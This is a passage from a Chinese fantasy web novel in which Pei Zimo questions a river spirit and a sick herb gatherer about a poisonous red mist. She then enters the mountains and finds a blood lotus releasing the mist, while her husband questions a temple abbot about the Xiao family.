“那时候我也只是听说,后来这雾气就开始出现在柳河上,柳河里的鱼虾也不少,好在这雾气在柳河上不是很浓郁,所以一开始遭殃的鱼也不多,但是最近我看着雾气在逐渐变浓,还有扩散的趋势。” “这样下去,很快也会蔓延到复州的城里的。” 裴子墨点点头,表示了解,“但是我询问了一些之前吃过柳河的鱼的人,他们大概是在三天前才出现这样的症状,可按照你说的,柳河出雾气应该也不是最近这几天了。” “是的,那会我会把所有被雾气沾染过的鱼虾全都禁锢在河水中心,不让它们游到岸边去,无论是钓鱼还是捕鱼都好,是捕不到这些鱼的。是我估摸着你这几天就快到了,于是放出了一些鱼,让复州城的人能吃到这些鱼,如果他们出了症状,你应该也会有所察觉。”乌媚说着顿了下。 “不过这些天,我一直追着这雾气,应该也受了这雾气的侵蚀,白天里术法突然失效,那些本来被我禁锢在河中心的鱼全都离开了我的禁锢,而且很多鱼因为那雾气,其实早就已经死了。” “那前几日,有个醉酒的人路过这里,是被你们施了术法?”裴子墨又问。 听到这个,乌媚的脸色有些无奈,“以往我在柳河里修炼,也不会现身,只是最近晚上追着这雾气,才会出来,没想到那天就被那个醉汉撞到。” “但我想,也正好用他再做个‘诱饵’,多一些准备,也多一点被你注意到的可能。” 第530章 他来都来了 “倒也是。”裴子墨点点头,“不过你就算跟着雾气,也没必要搞这么大一艘画舫,又放这么多人在上面,只要晚上有人路过,肯定会注意到的。” “我也是没办法,我唯一发现的一点点情况就是,如果我这船上,一直有声音,靠近我这船的雾气就会淡一些,而且若是船太小,那即便有声音,还是会有雾气侵袭过来。”乌媚看着楼下甲板上的人,“它们里面,除了几个人术法微微高一些可以自己以幻术维持人形,其他大部分连幻术都不会,这还是我怕吓到复州的人,所以用幻术把它们幻化成人。” 这一点裴子墨在上船的时候就感受到了。 离得远的时候,柳河的气息掩盖了他们的气息,但是到了近前,她就清晰的知道是怎么回事了。 “那你知道雾气最先出现的地方么?”裴子墨又问。 “应该就是复州北面的大山深处,复州的人,一般只会去那里的前两座山头,再往后,有一片迷林,据说只要进去的人,都没能出来,久而久之,那片迷林再也没有人进去,迷林之后的深山更没有人去过了。” “雾气就是在那迷林的后面出现的。”乌媚说着脸色有些为难,“但如今这雾气已经蔓延到这里,山里的情况可能更复杂,说不定那边已经都是红雾了,你若是去,不知道对你会不会有什么影响。反正这柳河里也有红雾,不如先在这里弄清楚了是怎么回事,再去那边也不迟。” 裴子墨垂下眼,那天张之极和白锦夜钓回去的鱼,她也吃了不少,不过却完全没有上吐下泻,说不定这红雾对她还真是没什么影响,“我知道了,我会想办法去看看。那里毕竟是源头,找到源头才好解决。而且我刚才过来时候,也没从这雾气中感受到什么。” 乌媚也点点头,“是的,这雾气到了哪,气息就会被当地同化,到了柳河,就都是柳河的气息,在深山里,就是深山的气息,所以根本感受不到到底有什么问题。” “你一直都在柳河,如果后面我想找你,直接来柳河你就能知道?”裴子墨看着她问。 乌媚点点头,“我之前没见过你,也不知道你的气息,现在见过了,只要你来柳河边,我就可以知道。” “行,那你最近也没必要追着这雾气跑了。”裴子墨站起身,“这件事我会想想办法,不论成与不成,都会给你一个答复。” 乌媚也站起身,看着桌上的美酒佳肴,“这些菜肴都是我精心准备的。”说完又赶紧解释道,“不是什么奇怪的东西,你不吃一点么?” 裴子墨摇了摇头,她当然看的出来这些到底是真的菜肴还是什么其他的东西幻化而成,乌媚既然有事找她,也不可能拿乱七八糟的东西来糊弄她,“等事情解决了,再一起吃吧。” “好。”乌媚点点头,又对着裴子墨拜了拜,“复州上下的生灵,就仰仗张夫人了。” * 裴子墨离开的画舫,刚回到岸上,身后的画舫就消失了。 而且跟乌媚说的也没什么差别,画舫消失,可雾气还在。 白锦夜赶紧朝着裴子墨走了过来,“怎么样?没什么事吧?” 裴子墨把刚才的事情,跟他说了一遍。 “所以你要去深山里看看?”白锦夜说着犹豫了下,才道,“那天府上吃了鱼的人,都有症状,但只有你一个人没有,证明这雾气对你可能没有什么伤害。不过也有可能是你有术法而鱼身上的红雾不多,所以你才没什么反应。” “若是像乌媚所说,那里是红雾的源头,必然雾气浓郁,那就没办法保证你不会被雾气侵蚀。” 他说完转头看向黑袍人,那目光已经很明显了,就是打算让黑袍人过去探探怎么回事。 “先不急着去后山,这几天我们在复州城里先走走。最近肯定有人去过山里,而且……山在复州的北边,柳河在复州的南边,如今雾气都已经到了柳河,那在中间的复州城怎么会没有雾气?”裴子墨拧着眉,还是有些事想不明白,“如果这雾气只能在山里或者水上,那它就是从复州四周的山上蔓延到柳河,这段时间,只要有人上山,应该就会遇到雾气。” “嗯。”白锦夜应了一声,他现在没有术法,全都要靠裴子墨,他就是希望所有的事情都要稳妥且万无一失,他一点都不想见到裴子墨有任何的危险,“这雾气,跟幻雾蛊像是一样么?” 裴子墨摇了摇头,“不一样。” 白锦夜轻轻谈了口气,没有说话。 “不过那位大师既然没有解决这个事,并且留给我,就证明他知道我能解决掉这个事,而且他也知道,这件事一时半会也不会有什么太严重的后果。”裴子墨又道。 白锦夜有些无语,忍不住抱怨道,“他来都来了,就不能顺手解决了么?有时间抓鱼,没时间解决这点事?” 裴子墨忍不住低笑,“你现在提起那位大师,怎么满满的怨气?” 白锦夜没说话,这老和尚,把他的儿子带走,还给裴子墨留麻烦的尾巴,真是让人恨的牙痒痒,他还不能有点怨气么? “时间也不早了,先回去睡吧。”裴子墨伸了个懒腰。 等回到张府,便见到昏昏欲睡的知府,和早就开始打呼噜的张之极。 张之极是一点都不担心,所以自然能睡得着,可知府不行,他心没有这么大。 于是就一杯接一杯的喝茶,努力地提着精神,等白锦夜他们回来。 见他们进了门,他当场从椅子上跳起来,“王爷,你没事吧?” “无事。”白锦夜说着脚步顿了顿,又交代了知府一些事情,让明日一早就出告示,让复州城内的人,最近不要去柳河边,也不要去附近的山上。 如果半个月之内,有去过附近山上、尤其是北山的人,尽快到衙门登记。 让知府统计好这部分名单之后,就给他送过来。 知府见白锦夜神色凝重,便也知道最近的事情有点严重,当下整个人就清醒了,立刻回去安排。 第531章 进过迷林的人 第二天下午,知府就派人送过来了一部分最近去过山上的人的名单,里面包含了日期、时辰和大致地点。 裴子墨看着这第一批名单,轻轻叹了口气,乌媚说,那雾气只会在有月亮的晚上出现,但是眼下的这群人,几乎都是白天去的,无论是挖野菜、采药材还是砍柴都好,这些肯定都是白天做的事情,所以这批名单里,根本没有她想要人。 之后两天也陆陆续续有名单送过来,直到最后一张名单上,才终于有了一个裴子墨想要找的人,便赶紧跟白锦夜一起出了门。 这人名叫李之栋,之所以在最后一批名单上,是因为他从山上回来之后就病了,这些天身体虚弱的床都下不了,后来也还是他娘子帮他去衙门登记的。 府衙的人把白锦夜和裴子墨带到的时候,李之栋还是没办法下床。 但他家里也太过狭窄,最后还是府衙的人帮忙,把李之栋背到了外面的木椅上坐下。 李之栋到了外面,就抬手挡了挡阳光,像是不太习惯有阳光照在身上。 府衙的人把来意说明之后,李之栋便讲述了自己那天遇到的事情。 他祖上行医,只不过到了他这代,医术已经没有传下来的了,唯一剩下的,也就是小时候跟着父辈上山采药,所以认识很多药材。 他现在也就是靠采药材卖药材为生。 他每次去采药都是独来独往,很少跟别人搭伙,因为他有几处采药的绝佳地点,是不愿意告诉别人的。 在这几处地点他总是能采到一些别人采不到的药材,而且就算是同样的药材,他采到的也要比别人的好,所以复州城里的几家药材铺,都愿意收他的药材。 不过富贵都是险中求,其实那几处地点,就在北山的迷林之中。 他每次都是用绳子拴着自己的腰,绳子的另外一端拴在迷林外面的树上,而且走一步,就做一个记号。 靠着这双重保险,他这些年倒是也没有出过事。 那天他和往常一样,去北山上采药材。 可是从迷林里出来的时候,本来好好的天,就下了大雨。 雨天的路太滑,他跌了两跤,还洒了些药材出来,这药材是药铺早就定好的,他也不舍得就这么浪费,正好记得不远处有个山洞,于是就去那山洞里面躲雨。 哪知道这雨一下就下到了半夜才停下来,雨停了之后,天就立刻晴了,月亮的光很亮,倒是刚好方便他下山。 他打算再等片刻,等地上的积水往低处流一流,路没有那么滑了,他再下山。 结果这么一等,外面突然传来脚步和穿过树林的声音。 他经常在山上采药,当然听得出来这是兽类的声音,而且以这个密集的声音来说,兽类肯定不少。 他不知道发生了什么事,但是这样一来,他就更不敢出去了,万一碰上凶猛的野兽,人就交代在这里了。 他甚至还往山洞里面躲了躲。 没过一会,他就看到从迷林的方向,飘出了一些雾气。 那些雾气起初是白色的,但后来就变成了红色。 他以前跟父辈上山的时候,就听说过瘴气,当时以为是雨后起了瘴气,这瘴气肯定是有毒的,于是他也不敢停留,顾不上什么野兽一类的,赶紧背上药篓,快步往山下跑。 他跑了一段,就遇上了狼群。 当时吓得他腿都软了,可没想到那些狼就像是没看见他一样,直接往红雾的方向冲去。 等他回过神来,狼群都已经进了红雾,他捡回了一条命,便爬起来继续往山下跑。 那红雾的速度也不慢,他也顾不上药材了,一路连滚带爬的逃命。 可眼见着就到山脚下了,红雾就追了上来。 他的右腿先被红雾盖住,就感觉像是失去了知觉,他一下子摔倒在地,直接滚下了山。 红雾也是奇怪,到了山脚之后,就再也没有往前蔓延了。 可整个北山,就像是笼罩在红雾之中,在月光下看着阴森可怕。 他坐了一会,右腿的知觉慢慢恢复,便捡了一根木棍,拄着木棍,一瘸一拐地回了家。 他不知道那红雾到底是怎么回事,但感觉不太对,于是回家之后,立马翻出了以前家里留下来的医书,找了个祛毒解毒的方子,好在家里药材全,当晚就熬了药煮了水,泡了个药浴。 他擦干身体,躺在床上,翻来覆去睡不着,想不明白自己到底遇到了什么,等快天亮的时候,就开始上吐下泻,除此之外,他的右腿也出现了红斑。 他也找了大夫看过,但是这些大夫也都不知道是怎么回事。 他觉得自己应该是中了那红雾的毒气,所以就算这些大夫束手无策,他这几天也一直在吃各种解毒的方子。 病情倒是一直没有恶化,几天之后,甚至开始有了些好转。 不过这好转的速度也不算快,所以现在依旧很虚弱。 “你腿上的红斑还在么?”裴子墨开口问道。 “在。”李之栋点点头,想要拉起裤脚,可是却连这样的力气都没有,最后还是他的娘子帮他把裤脚挽了起来,“之前这一大片全是红斑,现在就剩下这一点了。” 裴子墨看着他腿上的红斑,微微皱起眉头,从身上拿出银针,想要往红斑上扎去。 李之栋的脸色有些无奈,“之前也有大夫想要施针,但不知道为什么,这有红斑的地方,摸着跟其他地方没什么区别,可银针就是扎不进去。” 他这话音落下,就见裴子墨的针已经扎进了红斑之中。 只不过这里并不是穴位,所以银针拔出来的时候,自然是流了血。 裴子墨找了一块布,擦了下红斑上流出来的血,仔细看了看,这血见着,要比正常的血更偏红一些。 不过片刻之后,颜色就和正常的血无异了。 看样子,这血里也是有了红雾,现在红雾散去,颜色就恢复正常了。 李之栋现在身体依旧虚弱,就是身体里的红雾还没有排干净。 裴子墨也就顺手帮他在红斑上多扎了几针,让他娘子多挤一些血出来,“等你这红斑都散去,身体应该就好了。” 第532章 这世上没有不可渡之人 李之栋没办法起身,便只能坐在椅子上谢过裴子墨。 “你也不用谢我,就算没有我,过几天你也可以痊愈。”裴子墨站起身,“不过痊愈之后,暂时也不要再去迷林那边采药了。” 李之栋苦笑了一声,“我还哪敢去了?赚钱也是为了养活一家老小,可万一我出了什么问题,这一家老小指望谁?” 裴子墨也没再说话,让府衙的人帮忙把李之栋送回房间,便和白锦夜往外面走。 白锦夜看着她的脸色,就知道她还是想不明白这件事,更是知道,她这趟北山之行,是不可避免了,“刚才李之栋说,那红雾到了山脚就不再蔓延,证明确实是只能在山上和水面上出现,不如我和你一起去,实在不行,我可以在山下等你。” 裴子墨点点头,又道,“你一定要在山下等我,如果我时间久了没出来,你也可以回张府,我打算进那迷林看一看。李之栋应该也没有深入过迷林,所以他的方法对我来说也不算适用。不过只要你在外面,我根据你冥尸的气息,就算是迷了路,也能找到你在的方向,到时候就可以出来。” “好。”白锦夜应道。 “我带着他进去,应该不会出太大的问题,自保的能力应该是有的。”裴子墨看了黑袍人一眼,低声道。 两个人一起回了张府,裴子墨准备了一些东西,她平时身上多是带着空白的符纸,遇到事情临时写也来得及,但是这北山上的情况不可知,自然要把能提前准备的都先准备出来。 白锦夜也把九殇拿给了裴子墨。 九殇是巫族的至宝,它最大的优点就在于,使用它的人,术法越高,它的威力就越大。 但同样的,若是术法低,那它能发挥出来的效用也不高。 尤其是如今在白锦夜的手上,那也就只能算是一把削铁如泥的宝剑,其余的,就什么都没有了,甚至还不如凌迟刀在白锦夜手上的用处大。 裴子墨知道他是不放心,如果他的术法还在,肯定是要跟着进去的,他现在就算是嘴上不说,心里也是一万个不放心。 还是张之极心大,虽然听说他们要去解决一些麻烦,但他还是很踏实地去睡了。 他们是吃过晚饭出发的,到了北山山脚的时候,月亮正好就出来了。 裴子墨也没有着急,就跟白锦夜在山下等着。 按照乌媚和李之栋两个人说的,有月亮的晚上,红雾会出来,又会蔓延到山脚,他们先站在这里等一等,便能见到红雾。 裴子墨看着这山上,偌大的山,如今却完全没有鸟兽蚊虫的声音,她轻轻地叹了一口气,“这山上,确实没有多少兽类了。” 白锦夜也跟着叹了口气,还不等说话,就见裴子墨转身往旁边看去。 没一会,便见到有个披着袈裟拿着禅杖的人走了过来。 白锦夜拧起眉头,虽然都是和尚,但这个和尚显然比那个老和尚更像和尚一些。 裴子墨看着来人,多少有些眼熟,想了许久,才想起这是大昭寺的住持。 等她想起他是谁的时候,他已经走到了近前。 住持对着裴子墨行了个礼,又念了声佛号,才开口道,“施主,老衲已经寻你多时,敢问那位曾在大昭寺出家的萧姓公子,如今在哪里?” 裴子墨看着他,“据我所知,萧家和大昭寺好像没有什么渊源,住持大师为了萧尺寒,从临漳千里迢迢来了复州,倒是让人挺诧异的。” “毕竟有缘,老衲也想渡他。”住持开口道。 “恐怕渡不了了。”裴子墨说完,收回目光,继续往山上看去。 “这世上便没有不可渡之人。”住持轻轻皱了下眉头,“施主只需要告诉老衲,他人在哪里就好。” 裴子墨沉默了一会,才道,“我把他困住了,他心里的恶念若是消了,便能出来,恶念若是一直在,就会永远被困在那里。” “施主这样未免太不仁义了。”住持的眉头皱得更紧,“他的因果都是因你而起,你如今怎么能这样对他?” “他在大昭寺不也一样么?只不过在大昭寺是被困在经楼里而已。”裴子墨继续道,“大师困住他,不也是知道他心里的恶念无法消除么?” 住持沉默了一会,还不等说话,就也转头往山上看去,随即有些诧异地道,“这是什么?” 裴子墨眯着眼,看着红雾从上而下蔓延下来,到了山脚便停住了。 这红雾笼罩之下的北山,看着确实诡异。 她皱了下眉,看向住持,“住持大师,我今日有事要处理,等我解决了眼下的事情,再和你好好聊聊萧尺寒的事。”她说完转头看了白锦夜一眼。 白锦夜点点头,示意她自己就在这里等她,哪也不去。 裴子墨便迈步往红雾边缘走。 住持也迅速地跟了上去,“这山上发生什么事了?” “我也不知道,我若是知道,就不用等在这里了。”裴子墨说完转头看向他,“大师,你最好离远些,我知道你也不是普通人,但是这事,也不见得是你能插手的。” 住持没有说话,却依旧一直跟着她。 裴子墨走到红雾边缘就停了下来,从袖口里掏出一张符纸,扔进了红雾之中。 “阿弥陀佛,老衲远远的就感觉这山上一片死寂,莫不是跟这红雾有关系?”住持开口问道。 裴子墨没有说话,专心地看着自己扔出去的符纸,那符纸片刻之后,就被染红,随即落在了地上。 她拧了拧眉,随后又连续扔出去几张符纸。 但是每一张符纸,都无一例外变成了红色后落在了地上。 她看着每张符纸飘出去的距离,目光落在最远的那张符纸上,随即抿了抿唇,迈步便要往里面走,可却被住持一把拉住。 “施主,这看着太过危险。”住持说着顿了顿,“你进去之前,最好告诉老衲,萧公子的下落。” 裴子墨还以为他悲天悯人的要跟着自己一起进去,或者是要阻止自己进去,哪知道原来是怕自己死在里面,他就没办法得知萧尺寒的下落了。 她垂下眼,犹豫了下,开口道,“你去守着他吧,若是我死了,他会告诉你萧尺寒的下落的。”她其实也不放心白锦夜一个人在外面,不过有这住持守着他,多少也会安全一些。 说完,她推开住持的手,迈步进了红雾之中。 第533章 大昭寺住持的因果 住持沉默了片刻,终究还是没有跟裴子墨一起走进去,而是转身走回到白锦夜的身边。 白锦夜身上的气息有些复杂,他一时也看不透他。 于是便在白锦夜的身边坐下,低声诵佛。 白锦夜拧眉看着裴子墨的身影消失在红雾之中,最后也干脆坐在了住持的对面,开口问道,“大师,你为何非要找萧尺寒?” 住持诵完这篇经,才睁开眼睛,看着白锦夜,“老衲曾答应故人,要照顾萧公子,已经承诺的话,自然要兑现。” “故人?”白锦夜思索了会才问,“不知道这故人的名字可否告知?” 住持沉默了会,最后也没有隐瞒,“萧公子的祖父,萧公瑾。” “哦?”白锦夜挑了下眉头,“原来住持跟萧太师是旧相识么?” 见白锦夜也知道萧公瑾,住持轻叹了一口气,才道,“老衲年轻之时,下山历练。这世上会术法之人少之又少,所以见到萧公瑾之时,便倍感亲切。” “我们两个便时常一起探讨些术法和阵法。萧家的术法是家传,传到萧公瑾之时,便已经不剩多少了,而且他的资质也有限,所以没过多久,我们探讨的内容便穷尽了,老衲再说的事情,他也听不懂了。” “那时老衲便掐算出,他将来的孙子,恐怕是天煞孤星克亲之命,于是临别前,老衲便跟他说,将来可以把孩子送到老衲身边,老衲定会竭尽所能照顾这孩子。” “老衲以为,这孩子出世之后,萧公瑾便会把他送过来,但是左等右等,也不见他把人送来,老衲怕萧家是出了什么变故,还专门派人去打探过,才知道他们是得了高人指点,让这孩子能在亲人身边长大。” “既然如此,那老衲也不能强拆骨肉,此事也没有人再提起。” “但后来,萧公子还是来了,老衲那时见到他,便知道萧家大祸临头,他也是得贵人相助,才留了一条命下来。” “可是这条命,却在善与恶之间摇摆,一念天堂一念地狱。” “老衲让他留在佛寺之中,不敢让任何人去见他,就怕他被人引导,生出恶念。” “只不过……”住持往红雾里看了一眼,“那位施主还是去了,她去的第二日,萧公子便离开了大昭寺。如今明知萧公子在苦海之中,老衲又怎能不管不顾?” “所以,还望施主告知老衲萧公子现在何处。” 白锦夜没有回答这个问题,只是说,“之前我娘子跟我说,萧家府邸有个阵法,那阵法绝对不是萧公瑾能摆出来的,那个阵法主要是聚气的,让萧府祥气环绕。” “萧家的气运在千年之前就已经断了,他们整个家族,上千年来都是靠借其他人的运势活着,到了萧公瑾这一代,以他的术法,根本支撑不起来这么大聚气阵法了,他甚至都不知道该怎么设置和修补。” “我刚才听你的说法,你们当年一起探讨过术法,所以很显然他是从你这里得到了法门,才能让萧家继续支撑几十年。” “大师,你可知道,在这几十年里,有多人因为萧家而遭殃、家破人亡?” “无形之中,你也是这件事的幕后推手,那些人所受的苦难,也有你的因果,不是么?” 住持怔愣了一下,没有说话。 “你既然也修习术法,我想当年你认识萧公瑾的时候,不会看不出来萧家气运的事情,可你还是跟他一起探讨术法,我想这中间,多少是有些缘故,也许大师是被人蒙蔽,也可能大师就是为了一己私欲也说不定,是不是?”白锦夜又继续问道。 住持双手合十,念了一声佛号,“老衲当时是年轻,的确在见到萧公瑾之时,便发现他的气运已断,只不过老衲和萧公瑾一见如故,相见恨晚,所以是动了私心。那时他与老衲探讨的一些阵法,确实跟聚气相关,对于他不懂之处,老衲也都给了解答。” “老衲当时想,老衲没有亲手帮他,是他给自己挣了一条活路。或许,他遇上老衲,就是他的机缘,是他命不该绝。” 他说着叹了一口气,“这些年,老衲也时常会想这件事,只不过事情已经发生,老衲也唯有多诵经祈福。” 白锦夜轻笑了一声,“你若是真的觉得自己错了,便应该去破了那聚气的阵法,你没有去,就这么听之任之,甚至于还是想要再救萧尺寒一命,我可不相信,你们当年只有论道之情。” 住持垂着眼,半响都没有说话。 隔了很久,他才终于开口,“当年的事,已经是过去,如今萧家人都死了,老衲种下的因,将来也由老衲来承受这个果。只不过老衲既然答应过萧公瑾,这最后能为萧家做的一件事,老衲还是要尽心办到的。” 白锦夜见与他已经说不下去,便也放弃了,“萧家的事,我不便插手,等我娘子出来,看她是不是愿意告诉你吧。” 住持也就没再说话,继续低声诵佛。 * 裴子墨进了红雾之中,便一直往山上走。 这山里静谧的诡异,除了风吹树叶的声音以外,就只剩下她和黑袍人的脚步声。 毫无疑问,这么多天过去,这里已经是一座“死山”了。 翻过了两座山之后,前方的地势变得平坦,如今虽然红雾笼罩,但也隐约的能看清,过了前面这片茂密的树林之后,便还是高山。 所以眼前这片树林,就应该是他们说的迷林了。 这迷林里的树木确实密集繁盛,走进去之后,整片天空就都被茂密的枝叶盖住。 看不见天空,那白日里见不到太阳,晚上见不到星星和月亮,自然就没办法分清方向。 虽然是一直往前走,但是走了一段,裴子墨就隐约地感觉到,她的方向应该是偏了。 这里的树木长得很是奇怪,走几步就要绕过一颗树干,不可能一直走直线,所以若是不注意,便会以为自己不过了绕了几棵树,实际上还在走直线,但是方向早就已经变了。 裴子墨眯了眯眼,拿出一道符纸,扔了出去。 第534章 山顶的水池 这道符纸不像是她在山脚下扔的那几道符纸,飞一段就落在了地上,而是一直往前飘去。 裴子墨也就跟着符纸往前走。 符纸每次绕过一棵树,就会调整一下方向,裴子墨也就跟着符纸调整方向。 走了差不多一个时辰,才终于从迷林里走出来。 裴子墨的表情也没有变得多轻松,这种迷林本身也只是对普通人有作用,对于稍稍有些术法的人来说,都不可能被困住。 出了迷林之后,她仔细地感受了一下自己的身体,并没有任何异样,所以这红雾对她来说,应该确实是没有什么伤害。 至于黑袍人,在进来之前,她就已经控制着他闭了气,所以这会他也没什么反应。 简单的修整了一会,裴子墨便继续往前走。 这里因为平时都没有什么人来,所以杂草格外的茂密,裴子墨也只能用九殇勉强的砍出来一条路。 过了迷林之后,地上就开始有兽类的死尸。 她检查了几具尸体,发现这些兽类死时都是瘦骨嶙峋,看样子应该是中了红雾之毒,上吐下泻,折腾许多天之后,慢慢虚弱而死。 前方的红雾更浓,眼前的这座山看起来就已经完全是红色了。 裴子墨走到山脚下的时候,思索了片刻,最终还是没有继续往前走,而是找了个地方坐下等天亮。 等天边露出微微的白色的时候,红雾就开始散了。 眼前的山也露出了本来的样子。 这山上没什么树木,地上也没有泥土,岩石就直接暴露在外面。 沿着这岩石往上,每隔几步,就会有一些兽类的尸体。 它们的头全都是朝着山顶的方向,大概在死前还在努力地想要往山顶爬。 裴子墨这回爬得小心翼翼的,因为这岩石看着也不算多牢固,而且时不时地还会从山顶滚落下来几颗石子。 小的石子还好,但若是有大的落石滚下来就麻烦了。 所以裴子墨几乎每一步都是试探地在走,也让黑袍人跟她保持着距离,这样不管是谁踩空,另外一个都能暂时安全,并且去救踩空的人。 这种山太难爬,爬到一半,裴子墨就坐下了休息了会,顺便把吃了点带过来的干粮。 等她爬到山顶的时候,就已经是午后了。 山顶上,仅仅是有一尺多宽的平地可以站立,再往前,就是一个巨大的水池。 这水池就在山顶中间,周围都被山体环绕。 山体靠近水池的一面,非常光滑,应该是被水常年冲刷的缘故,但是眼下这池面却非常的平静,甚至一丝涟漪都没有。 裴子墨在山顶绕着水池走了一小段,也没看出来什么异常。 那池水像是有些浑浊,只能看透一小层水,再往下,就完全看不清了。 她站了会,从地上捡起了一块石头,用手掂了掂,然后扔进了池水中,随即也把九殇横在身前,警惕地看着面前。 她眼下大概能猜到,红雾应该跟面前的水池有关,但是到底是池水散发出来的红雾,还是水池里有其他的东西散发出来的,那就不得而知了。 只不过石头砸进池水里,除了溅起来一点水花之外,就再没有一点其他的反应了。 裴子墨眯眼看了会,又拿出了几道符纸,朝池水扔了过去。 符纸有的直接落在了水面上,有的打着转往下沉了一段,隔了一会又飘了上来,可是却都不见有什么异常。 裴子墨想不明白,只好暂时放弃尝试,估摸着只能等到晚上红雾出来,才能知道到底是什么情况了。 * 白锦夜等了一宿又一天,再到傍晚的时候,就有点着急了,他拧着眉往前走了几步,又走回来,然后就一直走来走去。 他能感觉到裴子墨应该是没有什么危险,可是其他的就完全感觉不到了。 如果他和以前一样,能感觉到她的气息,他多少还能放心些,现在确实是只能干着急了。 住持从包裹里摸出了一个馒头,早上和中午他吃东西,白锦夜就不吃,现在到了晚上,他便又让了让白锦夜,但白锦夜依旧拒绝了。 “施主,你即便担心那位施主,也不能不吃不喝。”住持倒是有些担心地看着白锦夜,“依老衲所见,那位施主福泽深厚,面容上最近也不像是有劫难的样子,最多是耗些时日,你也不用太过担心。” 白锦夜其实也知道,住持这话倒是也没错,从张府出发之前,其实裴子墨也算过一卦,卦象上确实是说这次的事情还算顺利,不会有什么问题。 裴子墨算卦的本事他是知道的,卦象都这么说了,基本上就不会有什么意外。 但是那又怎么样?他也还是一样担心。 “我不吃。”白锦夜摆摆手,见住持欲言又止的模样,最后只能说,“我修炼辟谷之术,可以不用吃东西。” “这样。”住持看着白锦夜一天没吃没喝,精神倒也没受什么影响,便也没有再说话。 白锦夜看着天慢慢的暗下去,见今晚的天色不错,天上没有乌云,月亮升空,便知道红雾很快就要来了。 * 裴子墨也是一样,从天黑下去之后,便站起了身,往后退了几步,退到平台之下。 那平台的里面和平台都太过平缓,不像是天然形成,如果常年被水冲刷,白天又不见池水有什么动静,估摸着就是晚上池水的水面要上涨了。 她估计的也没错,天完全黑下来之后,池水便开始微微上涨,上涨的速度也不算快,而且除了水面上涨,还有一些哗哗的水声。 裴子墨拧起眉头,这声音显然是……有东西要从水底冒出来了。 而且这动静这么大,要出来的东西肯定也不会小。 她只能又往后退了几步,找了一块巨石,保证自己还能看到池水,随后整个身体都躲在了巨石的后面。 随着这哗哗的水声,也开始有丝丝的红雾从池水上面升起,然后开始蔓延。 而水里的东西,也在片刻之后完全露了出来。 那是一个巨大的红色的花骨朵,等照到月光的时候,便快速的盛开,而随着它的盛开,大片的红色雾气就从它的花心处瞬间腾空而起。 裴子墨微微瞪大了眼睛,那是……血莲么? 第535章 巫族的禁物 第536章 三颗血莲种子